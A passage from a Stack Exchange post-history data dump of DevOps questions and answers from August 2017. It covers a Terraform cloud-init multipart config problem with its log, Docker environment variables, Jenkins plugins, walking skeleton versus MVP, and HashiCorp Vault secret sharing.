template = &quot;${file(&quot;${path.module}/puppetserver_config.tpl&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;template_file&quot; &quot;initial_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/initial_config.sh&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;node declaration:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;puppetserver&quot; {&#xD;&#xA;	    depends_on             = [&quot;aws_security_group.puppetserver&quot;]&#xD;&#xA;	    count                  = 1&#xD;&#xA;	    key_name               = &quot;${var.key_name}&quot;&#xD;&#xA;	    ami                    = &quot;${data.aws_ami.centos7.id}&quot;&#xD;&#xA;	    instance_type          = &quot;${var.instance_type}&quot;&#xD;&#xA;	    user_data              = &quot;${data.template_cloudinit_config.puppetserver_config.rendered}&quot;&#xD;&#xA;	    security_groups        = [&quot;${aws_security_group.puppetserver.name}&quot;]&#xD;&#xA;&#xD;&#xA;	    tags {&#xD;&#xA;		    Name = &quot;puppet&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;But when it's being bootstrapped I see only `initial_config` worked. `puppetserver_config` is ignored.&#xD;&#xA;How to make it work properly? May be I have wrong extensions for my configs? Or I just do not trigger its' launching? Thanks in advance.&#xD;&#xA;&#xD;&#xA;# after hours of troubleshooting i found out that there might be something wrong with encoding. `/var/log/cloud-init.log` says:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[root@ip-172-31-29-73 ec2-user]# cat /var/log/cloud-init.log&#xD;&#xA;Aug 10 09:45:24 ip-172-31-29-73 cloud-init: Cloud-init v. 0.7.6 running 'init-local' at Thu, 10 Aug 2017 13:45:24 +0000. Up 5.79 seconds.&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: Cloud-init v. 0.7.6 running 'init' at Thu, 10 Aug 2017 13:45:31 +0000. Up 12.31 seconds.&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: ++++++++++++++++++++++++++Net device info+++++++++++++++++++++++++++&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +--------+------+--------------+---------------+-------------------+&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: | Device |  Up  |   Address    |      Mask     |     Hw-Address&#xD;&#xA;|&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +--------+------+--------------+---------------+-------------------+&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: |  lo:   | True |  127.0.0.1   |   255.0.0.0   |         .&#xD;&#xA;|&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: | eth0:  | True | 172.31.29.73 | 255.255.240.0 | 0a:99:c0:8b:b0:60 |&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +--------+------+--------------+---------------+-------------------+&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +++++++++++++++++++++++++++++++Route info++++++++++++++++++++++++++++++++&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +-------+-------------+-------------+---------------+-----------+-------+&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: | Route | Destination |   Gateway   |    Genmask    | Interface | Flags |&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +-------+-------------+-------------+---------------+-----------+-------+&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: |   0   |   0.0.0.0   | 172.31.16.1 |    0.0.0.0    |    eth0   |&#xD;&#xA; UG  |&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: |   1   | 172.31.16.0 |   0.0.0.0   | 255.255.240.0 |    eth0   |&#xD;&#xA; U   |&#xD;&#xA;Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +-------+-------------+-------------+---------------+-----------+-------+&#xD;&#xA;Aug 10 09:45:32 ip-172-31-29-73 cloud-init: 2017-08-10 09:45:32,367 - cc_write_files.py[WARNING]: Undecodable permissions None, assuming 420&#xD;&#xA;Aug 10 09:45:32 ip-172-31-29-73 cloud-init: 2017-08-10 09:45:32,372 - util.py[WARNING]: Running module write-files (&lt;module 'cloudinit.config.cc_write_files' from '/usr/lib/python2.7/site-packages/cloudinit/config/cc_write_files.pyc'&gt;) failed&#xD;&#xA;```" ContentLicense="CC BY-SA 3.0" />
  <row Id="5396" PostHistoryTypeId="5" PostId="1693" RevisionGUID="4ad565b2-ec00-453f-bc6b-1f056e5894e7" CreationDate="2017-08-10T14:48:54.580" UserId="47" Comment="improved formatting" Text="I need to use several configs on my EC2 node using Terraform.&#xD;&#xA;&#xD;&#xA;    data &quot;template_cloudinit_config&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;	    gzip          	 = true&#xD;&#xA;	    base64_encode 	 = true&#xD;&#xA;	    part {&#xD;&#xA;		    filename	 = &quot;initial.sh&quot;&#xD;&#xA;		    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.initial_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;	&#xD;&#xA;	    part {&#xD;&#xA;		    filename     = &quot;puppetserver_config.cfg&quot;&#xD;&#xA;		    content_type = &quot;text/cloud-config&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.puppetserver_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;    data &quot;template_file&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/puppetserver_config.tpl&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;template_file&quot; &quot;initial_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/initial_config.sh&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;node declaration:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;puppetserver&quot; {&#xD;&#xA;	    depends_on             = [&quot;aws_security_group.puppetserver&quot;]&#xD;&#xA;	    count                  = 1&#xD;&#xA;	    key_name               = &quot;${var.key_name}&quot;&#xD;&#xA;	    ami                    = &quot;${data.aws_ami.centos7.id}&quot;&#xD;&#xA;	    instance_type          = &quot;${var.instance_type}&quot;&#xD;&#xA;	    user_data              = &quot;${data.template_cloudinit_config.puppetserver_config.rendered}&quot;&#xD;&#xA;	    security_groups        = [&quot;${aws_security_group.puppetserver.name}&quot;]&#xD;&#xA;&#xD;&#xA;	    tags {&#xD;&#xA;		    Name = &quot;puppet&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;But when it's being bootstrapped I see only `initial_config` worked. `puppetserver_config` is ignored.&#xD;&#xA;How to make it work properly? May be I have wrong extensions for my configs? Or I just do not trigger its' launching? Thanks in advance.&#xD;&#xA;&#xD;&#xA;# after hours of troubleshooting i found out that there might be something wrong with encoding. `/var/log/cloud-init.log` says:&#xD;&#xA;&#xD;&#xA;    [root@ip-172-31-29-73 ec2-user]# cat /var/log/cloud-init.log&#xD;&#xA;    Aug 10 09:45:24 ip-172-31-29-73 cloud-init: Cloud-init v. 0.7.6 running 'init-local' at Thu, 10 Aug 2017 13:45:24 +0000. Up 5.79 seconds.&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: Cloud-init v. 0.7.6 running 'init' at Thu, 10 Aug 2017 13:45:31 +0000. Up 12.31 seconds.&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: ++++++++++++++++++++++++++Net device info+++++++++++++++++++++++++++&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +--------+------+--------------+---------------+-------------------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: | Device |  Up  |   Address    |      Mask     |     Hw-Address&#xD;&#xA;    |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +--------+------+--------------+---------------+-------------------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: |  lo:   | True |  127.0.0.1   |   255.0.0.0   |         .&#xD;&#xA;    |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: | eth0:  | True | 172.31.29.73 | 255.255.240.0 | 0a:99:c0:8b:b0:60 |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +--------+------+--------------+---------------+-------------------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +++++++++++++++++++++++++++++++Route info++++++++++++++++++++++++++++++++&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +-------+-------------+-------------+---------------+-----------+-------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: | Route | Destination |   Gateway   |    Genmask    | Interface | Flags |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +-------+-------------+-------------+---------------+-----------+-------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: |   0   |   0.0.0.0   | 172.31.16.1 |    0.0.0.0    |    eth0   |&#xD;&#xA;     UG  |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: |   1   | 172.31.16.0 |   0.0.0.0   | 255.255.240.0 |    eth0   |&#xD;&#xA;     U   |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +-------+-------------+-------------+---------------+-----------+-------+&#xD;&#xA;    Aug 10 09:45:32 ip-172-31-29-73 cloud-init: 2017-08-10 09:45:32,367 - cc_write_files.py[WARNING]: Undecodable permissions None, assuming 420&#xD;&#xA;    Aug 10 09:45:32 ip-172-31-29-73 cloud-init: 2017-08-10 09:45:32,372 - util.py[WARNING]: Running module write-files (&lt;module 'cloudinit.config.cc_write_files' from '/usr/lib/python2.7/site-packages/cloudinit/config/cc_write_files.pyc'&gt;) failed&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5397" PostHistoryTypeId="2" PostId="1697" RevisionGUID="7d3c3863-3ac2-4444-a2fb-ab79f7a67a6d" CreationDate="2017-08-10T15:21:17.483" UserId="210" Text="One could pass [environment variables][1] when running docker, e.g.:&#xD;&#xA;&#xD;&#xA;&gt; Additionally, the operator can set any environment variable in the&#xD;&#xA;&gt; container by using one or more -e flags, even overriding those&#xD;&#xA;&gt; mentioned above, or already defined by the developer with a Dockerfile&#xD;&#xA;&gt; ENV:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ docker run -e &quot;deep=purple&quot; --rm ubuntu /bin/bash -c export&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/v1.7/reference/run/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5398" PostHistoryTypeId="2" PostId="1698" RevisionGUID="0030766d-7df2-4b97-8511-c20f3d2a2148" CreationDate="2017-08-10T15:39:08.380" UserId="210" Text="I just configured `promoted builds plugin` and the `pipelines` plugin and found at least one difference between the two plugins, i.e. the first plugin seems to be able to allow manually deploy of certain stages, while the pipelines plugins seems to deploy everything automatically.&#xD;&#xA;&#xD;&#xA;According to [this answer][1], manual deploy of a certain stage seems to be missing.&#xD;&#xA;&#xD;&#xA;In summary, it seems that it would be nice to combine the two plugins as it could be handy to have a manual check before deploying to production, i.e. a human has to press the button in order to deploy to production. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/41043750/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="5399" PostHistoryTypeId="5" PostId="1698" RevisionGUID="7de0d7bb-9c4b-4d38-952f-401f0b5f0d8c" CreationDate="2017-08-10T15:50:33.077" UserId="210" Comment="added 144 characters in body" Text="I just configured `promoted builds plugin` and the `pipelines` plugin and found at least one difference between the two plugins, i.e. the first plugin seems to be able to allow manually deploy of certain stages, while the pipelines plugins seems to deploy everything automatically.&#xD;&#xA;&#xD;&#xA;According to [this answer][1], manual deploy of a certain stage seems to be missing.&#xD;&#xA;&#xD;&#xA;In summary, it seems that it would be nice to combine the two plugins as it could be handy to have a manual check before deploying to production, i.e. a human has to press the button in order to deploy to production. &#xD;&#xA;&#xD;&#xA;According to [this answer][2] it is not possible to combine both plugins at the moment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/41043750/2777965&#xD;&#xA;  [2]: https://stackoverflow.com/a/42260075/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="5400" PostHistoryTypeId="2" PostId="1699" RevisionGUID="4cfcffbf-11fd-4b2c-b085-d017d16a9c6c" CreationDate="2017-08-10T16:14:26.717" UserId="60" Text="I've recently stumbled upon the [&quot;Walking skeleton&quot; term][1] and got a bit confused about the terminology.&#xD;&#xA;&#xD;&#xA;Is it the same or a variation of a [Minimum Viable Product][2], or how does it relate to MVP in general?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/712/what-is-a-walking-skeleton&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Minimum_viable_product" ContentLicense="CC BY-SA 3.0" />
  <row Id="5401" PostHistoryTypeId="1" PostId="1699" RevisionGUID="4cfcffbf-11fd-4b2c-b085-d017d16a9c6c" CreationDate="2017-08-10T16:14:26.717" UserId="60" Text="What is a difference between a Walking Skeleton and an MVP?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5402" PostHistoryTypeId="3" PostId="1699" RevisionGUID="4cfcffbf-11fd-4b2c-b085-d017d16a9c6c" CreationDate="2017-08-10T16:14:26.717" UserId="60" Text="&lt;terminology&gt;&lt;practices&gt;&lt;patterns&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5403" PostHistoryTypeId="2" PostId="1700" RevisionGUID="5b3726d6-d285-4f98-96cf-40e4efdda47f" CreationDate="2017-08-10T16:22:31.307" UserId="210" Text="Based on the following two comments to the referenced answer in the question:&#xD;&#xA;&#xD;&#xA;@Adrian:&#xD;&#xA; &#xD;&#xA;&gt; I guess it's the delivery pipeline equivalent of a minimum viable product.&#xD;&#xA;&#xD;&#xA;@DaveSwersky&#xD;&#xA;&#xD;&#xA;&gt; This does sound similar to minimum viable product, but at a more&#xD;&#xA;&gt; granular level- &quot;minimum viable component&quot; perhaps. Returning 200 from&#xD;&#xA;&gt; a service just to get it &quot;running&quot; sounds like a stub to me.&#xD;&#xA;&#xD;&#xA;it looks like that a `Walking skeleton` is not identical, but a smaller `MVP`.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5404" PostHistoryTypeId="2" PostId="1701" RevisionGUID="e29e0306-8071-45bf-b1cc-f12de4906668" CreationDate="2017-08-10T18:04:24.627" UserId="3874" Text="I have a very simple terraform configuration. I boot up an aws instance of Ubuntu trusty and assign a security group. &#xD;&#xA;&#xD;&#xA;My question is who is responsible of getting the latest code from my code repo? is it a bash script in terraform `user_data` argument or should I make a modified AMI that has a bash script to pull the code repo.&#xD;&#xA;&#xD;&#xA;Basically my repo has docker configuration in it and all i need is to clone and do `docker-compose -f env.yml up`" ContentLicense="CC BY-SA 3.0" />
  <row Id="5405" PostHistoryTypeId="1" PostId="1701" RevisionGUID="e29e0306-8071-45bf-b1cc-f12de4906668" CreationDate="2017-08-10T18:04:24.627" UserId="3874" Text="terraform - how should I clone my code repo?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5406" PostHistoryTypeId="3" PostId="1701" RevisionGUID="e29e0306-8071-45bf-b1cc-f12de4906668" CreationDate="2017-08-10T18:04:24.627" UserId="3874" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5407" PostHistoryTypeId="2" PostId="1702" RevisionGUID="11fd17c4-519e-40d1-9d49-68df392ac6fc" CreationDate="2017-08-10T18:23:03.643" UserId="3869" Text="You can archieve the clone of the repo and the execution of docker-compose in several ways.&#xD;&#xA;&#xD;&#xA;You are right when you think that cloud-init could do that. Check [this link][1] for more information&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/10/how-to-use-cloud-init-with-terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="5408" PostHistoryTypeId="2" PostId="1703" RevisionGUID="2b21c1c7-6f48-444c-b32e-a5fcca6b3b1d" CreationDate="2017-08-10T22:11:43.850" UserId="47" Text="The walking skeleton reflects the rough structure/shape of the product, but it may be entirely stubbed out (initially), meaning it may not be actually functional. The skeleton cannot move without the muscles.&#xD;&#xA;&#xD;&#xA;The MVP however must meet a certain minimum functionality level to be considered viable.&#xD;&#xA;&#xD;&#xA;As development progresses the walking skeleton typically morphs into an MVP and eventually into a final product." ContentLicense="CC BY-SA 3.0" />
  <row Id="5409" PostHistoryTypeId="50" PostId="1523" RevisionGUID="98371093-e4b5-4023-87fc-875300d3acbe" CreationDate="2017-08-10T23:39:47.557" UserId="-1" />
  <row Id="5410" PostHistoryTypeId="2" PostId="1704" RevisionGUID="a4de1933-30cb-4da0-9d78-b5b506318531" CreationDate="2017-08-11T02:05:12.443" UserId="47" Text="It is not currently possible to disable that warning, see discussions on [Issue 20397][1]:&#xD;&#xA;&#xD;&#xA;&gt; That warning was added, because the Windows filesystem does not have&#xD;&#xA;&gt; an option to mark a file as 'executable'. Building a linux image from&#xD;&#xA;&gt; a Windows machine would therefore break the image if a file has to be&#xD;&#xA;&gt; marked executable.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For that reason, files are marked executable by default when building&#xD;&#xA;&gt; from a windows client; the warning is there so that you are notified&#xD;&#xA;&gt; of that, and (if needed), modify the Dockerfile to change/remove the&#xD;&#xA;&gt; executable bit afterwards.&#xD;&#xA;&#xD;&#xA;In a sense this also means it's practically impossible to actually solve the issue.&#xD;&#xA;&#xD;&#xA;What maybe can help a bit is moving the error message from stderr to stdout, released in docker 17.04. See [Issue 29856][2].&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/20397&#xD;&#xA;  [2]: https://github.com/moby/moby/pull/29856" ContentLicense="CC BY-SA 3.0" />
  <row Id="5413" PostHistoryTypeId="2" PostId="1705" RevisionGUID="d3572a4d-6236-4f10-8857-541a28c38ac6" CreationDate="2017-08-11T06:36:54.237" UserId="210" Text="When one follows [a Hashicorp's Vault demo][1], one has to issue `vault init -key-shares=1 -key-threshold=1` at a certain moment that generates a `key 1` and `root token`:&#xD;&#xA;&#xD;&#xA;    Key 1: ABC&#xD;&#xA;    Root Token: XYZ&#xD;&#xA;&#xD;&#xA;If person A generates a secret by executing `vault write secret/hello value=world` how could person B check on his/her computer the value of `secret/hello`?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/#/demo/1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5414" PostHistoryTypeId="1" PostId="1705" RevisionGUID="d3572a4d-6236-4f10-8857-541a28c38ac6" CreationDate="2017-08-11T06:36:54.237" UserId="210" Text="What are best practices for sharing and accessing Vault secrets?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5415" PostHistoryTypeId="3" PostId="1705" RevisionGUID="d3572a4d-6236-4f10-8857-541a28c38ac6" CreationDate="2017-08-11T06:36:54.237" UserId="210" Text="&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5419" PostHistoryTypeId="2" PostId="1707" RevisionGUID="adadc62e-75e4-4508-a53b-722c93187761" CreationDate="2017-08-11T07:04:57.677" UserId="3872" Text="I'm currently trying to build a site in a Docker container running in an Ubuntu VM, which has Apache and PHP installed already.  I want to be able to access Sqlite3 features with PHP using PDO.&#xD;&#xA;&#xD;&#xA;However, I'm executing regular PHP to check it works, ` phpinfo();` which runs fine, but when I execute an SQL query I get a white page.&#xD;&#xA;&#xD;&#xA;Has anybody had experience with implementing this before? A docker container containing Apache, PHP and SQLite? My assumption is it needs to be declared in the Dockerfile..&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5420" PostHistoryTypeId="1" PostId="1707" RevisionGUID="adadc62e-75e4-4508-a53b-722c93187761" CreationDate="2017-08-11T07:04:57.677" UserId="3872" Text="Running MySQLite3 with PHP PDO in a Docker Container" ContentLicense="CC BY-SA 3.0" />
  <row Id="5421" PostHistoryTypeId="3" PostId="1707" RevisionGUID="adadc62e-75e4-4508-a53b-722c93187761" CreationDate="2017-08-11T07:04:57.677" UserId="3872" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5422" PostHistoryTypeId="2" PostId="1708" RevisionGUID="b0490005-dd16-41f9-b7f2-f8d673392ef8" CreationDate="2017-08-11T07:07:49.180" UserId="210" Text="In [this section][1] Hashicorp compares `Vault` with other solutions. How does Hashicorp's Vault compare to [Lastpass][2]?&#xD;&#xA;&#xD;&#xA;**Attempt to answer the question**&#xD;&#xA;&#xD;&#xA;It is possible to login to LastPass from a web browser, create secrets and share these with other users. There does not seem to be an audit log. Imagine that a password of one of the users is retrieved one could retrieve a password from a database without knowing it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/intro/vs/index.html&#xD;&#xA;  [2]: https://www.lastpass.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5423" PostHistoryTypeId="1" PostId="1708" RevisionGUID="b0490005-dd16-41f9-b7f2-f8d673392ef8" CreationDate="2017-08-11T07:07:49.180" UserId="210" Text="How does Hashicorp's Vault compare to Lastpass?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5424" PostHistoryTypeId="3" PostId="1708" RevisionGUID="b0490005-dd16-41f9-b7f2-f8d673392ef8" CreationDate="2017-08-11T07:07:49.180" UserId="210" Text="&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5427" PostHistoryTypeId="5" PostId="1693" RevisionGUID="1be5e594-3036-4d6b-a075-b4992c7f1d1b" CreationDate="2017-08-11T07:52:49.983" UserId="3864" Comment="added 827 characters in body" Text="I need to use several configs on my EC2 node using Terraform.&#xD;&#xA;&#xD;&#xA;    data &quot;template_cloudinit_config&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;	    gzip          	 = true&#xD;&#xA;	    base64_encode 	 = true&#xD;&#xA;	    part {&#xD;&#xA;		    filename	 = &quot;initial.sh&quot;&#xD;&#xA;		    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.initial_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;	&#xD;&#xA;	    part {&#xD;&#xA;		    filename     = &quot;puppetserver_config.cfg&quot;&#xD;&#xA;		    content_type = &quot;text/cloud-config&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.puppetserver_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;    data &quot;template_file&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/puppetserver_config.tpl&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;template_file&quot; &quot;initial_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/initial_config.sh&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;node declaration:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;puppetserver&quot; {&#xD;&#xA;	    depends_on             = [&quot;aws_security_group.puppetserver&quot;]&#xD;&#xA;	    count                  = 1&#xD;&#xA;	    key_name               = &quot;${var.key_name}&quot;&#xD;&#xA;	    ami                    = &quot;${data.aws_ami.centos7.id}&quot;&#xD;&#xA;	    instance_type          = &quot;${var.instance_type}&quot;&#xD;&#xA;	    user_data              = &quot;${data.template_cloudinit_config.puppetserver_config.rendered}&quot;&#xD;&#xA;	    security_groups        = [&quot;${aws_security_group.puppetserver.name}&quot;]&#xD;&#xA;&#xD;&#xA;	    tags {&#xD;&#xA;		    Name = &quot;puppet&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;But when it's being bootstrapped I see only `initial_config` worked. `puppetserver_config` is ignored.&#xD;&#xA;How to make it work properly? May be I have wrong extensions for my configs? Or I just do not trigger its' launching? Thanks in advance.&#xD;&#xA;&#xD;&#xA;# after hours of troubleshooting i found out that there might be something wrong with encoding. `/var/log/cloud-init.log` says:&#xD;&#xA;&#xD;&#xA;    [root@ip-172-31-29-73 ec2-user]# cat /var/log/cloud-init.log&#xD;&#xA;    Aug 10 09:45:24 ip-172-31-29-73 cloud-init: Cloud-init v. 0.7.6 running 'init-local' at Thu, 10 Aug 2017 13:45:24 +0000. Up 5.79 seconds.&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: Cloud-init v. 0.7.6 running 'init' at Thu, 10 Aug 2017 13:45:31 +0000. Up 12.31 seconds.&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: ++++++++++++++++++++++++++Net device info+++++++++++++++++++++++++++&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +--------+------+--------------+---------------+-------------------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: | Device |  Up  |   Address    |      Mask     |     Hw-Address&#xD;&#xA;    |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +--------+------+--------------+---------------+-------------------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: |  lo:   | True |  127.0.0.1   |   255.0.0.0   |         .&#xD;&#xA;    |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: | eth0:  | True | 172.31.29.73 | 255.255.240.0 | 0a:99:c0:8b:b0:60 |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +--------+------+--------------+---------------+-------------------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +++++++++++++++++++++++++++++++Route info++++++++++++++++++++++++++++++++&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +-------+-------------+-------------+---------------+-----------+-------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: | Route | Destination |   Gateway   |    Genmask    | Interface | Flags |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +-------+-------------+-------------+---------------+-----------+-------+&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: |   0   |   0.0.0.0   | 172.31.16.1 |    0.0.0.0    |    eth0   |&#xD;&#xA;     UG  |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: |   1   | 172.31.16.0 |   0.0.0.0   | 255.255.240.0 |    eth0   |&#xD;&#xA;     U   |&#xD;&#xA;    Aug 10 09:45:31 ip-172-31-29-73 cloud-init: ci-info: +-------+-------------+-------------+---------------+-----------+-------+&#xD;&#xA;    Aug 10 09:45:32 ip-172-31-29-73 cloud-init: 2017-08-10 09:45:32,367 - cc_write_files.py[WARNING]: Undecodable permissions None, assuming 420&#xD;&#xA;    Aug 10 09:45:32 ip-172-31-29-73 cloud-init: 2017-08-10 09:45:32,372 - util.py[WARNING]: Running module write-files (&lt;module 'cloudinit.config.cc_write_files' from '/usr/lib/python2.7/site-packages/cloudinit/config/cc_write_files.pyc'&gt;) failed&#xD;&#xA;&#xD;&#xA;# Edit:&#xD;&#xA;I have a similar but properly working config for my backend nodes:&#xD;&#xA;&#xD;&#xA;    data &quot;template_file&quot; &quot;backendnode_config&quot; {&#xD;&#xA;	    template = &quot;${file(&quot;${path.module}/backendnode_config.tpl&quot;)}&quot;&#xD;&#xA;	    vars {&#xD;&#xA;		    puppetserver_address = &quot;${aws_instance.puppetserver.private_ip}&quot;&#xD;&#xA;		    puppet_environment	 = &quot;${var.puppet_environment}&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;    data &quot;template_cloudinit_config&quot; &quot;backendnode_config&quot; {&#xD;&#xA;	    gzip          	 = true&#xD;&#xA;	    base64_encode 	 = true&#xD;&#xA;	    part {&#xD;&#xA;		    filename	 = &quot;initial.sh&quot;&#xD;&#xA;		    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.initial_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;	    part {&#xD;&#xA;		    filename     = &quot;backendnode_config.cfg&quot;&#xD;&#xA;		    content_type = &quot;text/cloud-config&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.backendnode_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="5428" PostHistoryTypeId="2" PostId="1709" RevisionGUID="6e1dbd8d-424f-4e02-b936-df982cf398d4" CreationDate="2017-08-11T08:31:17.353" UserId="210" Text="When the Hashicorp's website was checked it seems that there is another tool, i.e. Serf. Back in the days there was another tool called `otto`, but that was deprecated at a certain moment.&#xD;&#xA;&#xD;&#xA;After reading the [use cases][1] I wonder whether it is an added to use `serf` when a container orchestration platform like kubernetes is used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.serf.io/intro/use-cases.html" ContentLicense="CC BY-SA 3.0" />
